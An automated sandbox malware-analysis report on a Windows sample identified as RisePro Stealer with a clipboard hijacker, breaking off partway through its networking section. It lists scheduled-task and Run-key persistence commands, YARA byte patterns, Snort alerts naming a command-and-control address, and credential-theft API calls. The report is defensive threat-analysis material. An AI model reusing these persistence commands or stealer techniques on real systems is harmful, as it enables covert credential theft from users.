Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1445936
MD5:	3d5808948d8fa538b14ddc5d1861202b
SHA1:	465557a1e5384105df4f388e960f2c8469bf7b98
SHA256:	a22db49ce797ce6ac5d91a4791d9954f4c31397b01d362fb0d24ffb7e16cd8d5
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to implement multi-threaded time evasion

Contains functionality to inject threads in other processes

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4576 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3D5808948D8FA538B14DDC5D1861202B)

BitLockerToGo.exe (PID: 356 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

schtasks.exe (PID: 4148 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2572 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KSExO5GhJ2KIj6jiDKtz.exe (PID: 2588 cmdline: "C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 400 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 3568 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 5864 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 528 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 320 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5660 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 4876 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 5336 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

EdgeMS2.exe (PID: 6452 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2264717201.000000C000BAE000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000002.2265171878.000000C000CAE000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.2265171878.000000C000FD4000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000003.00000003.2335364772.00000000077EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
11.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
23.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
23.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
23.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
15.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
15.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
20.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
22.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
22.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
22.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe, ProcessId: 356, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe, ProcessId: 356, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe, ParentProcessId: 2588, ParentProcessName: KSExO5GhJ2KIj6jiDKtz.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 400, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.6 - Destination IP: 185.172.128.136

Timestamp:	05/22/24-20:06:21.584122
SID:	2049060
Source Port:	49705
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.6

Timestamp:	05/22/24-20:06:38.267154
SID:	2046266
Source Port:	50500
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.6 - Destination IP: 185.172.128.136

Timestamp:	05/22/24-20:06:24.059652
SID:	2046268
Source Port:	49705
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.6 - Destination IP: 185.172.128.136

Timestamp:	05/22/24-20:06:36.169525
SID:	2046269
Source Port:	49705
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro CnC Activity (Outbound) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.6

Timestamp:	05/22/24-20:06:37.086566
SID:	2049660
Source Port:	50500
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.6

Timestamp:	05/22/24-20:06:22.392274
SID:	2046267
Source Port:	50500
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.6 - Destination IP: 185.172.128.82

Timestamp:	05/22/24-20:06:29.624310
SID:	2019714
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 185.172.128.136 - Destination IP: 192.168.2.6

Timestamp:	05/22/24-20:06:22.144132
SID:	2046266
Source Port:	50500
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EC6B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,

3_2_02EC6B00

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.6:49707 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000003.2239999857.0000019161670000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264369355.000000C000728000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017B6000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017F0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000003.2239999857.0000019161670000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264369355.000000C000728000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017B6000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C0017F0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_02EC6000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EE6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	3_2_02EE6770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E31F9C FindClose,FindFirstFileExW,GetLastError,	3_2_02E31F9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E93F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	3_2_02E93F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E32022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_02E32022
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	3_2_02E938D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EDFF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,	3_2_02EDFF00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E4FC2F FindFirstFileExW,	3_2_02E4FC2F

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.6:49705 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 185.172.128.136:50500 -> 192.168.2.6:49705
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 185.172.128.136:50500 -> 192.168.2.6:49705
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.6:49705 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.6:49705 -> 185.172.128.136:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.6:49708 -> 185.172.128.82:80
Source: Traffic	Snort IDS: 2049660 ET TROJAN RisePro CnC Activity (Outbound) 185.172.128.136:50500 -> 192.168.2.6:49705
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 185.172.128.136:50500 -> 192.168.2.6:49709

Source: global traffic

TCP traffic: 192.168.2.6:49705 -> 185.172.128.136:50500

Source: global traffic
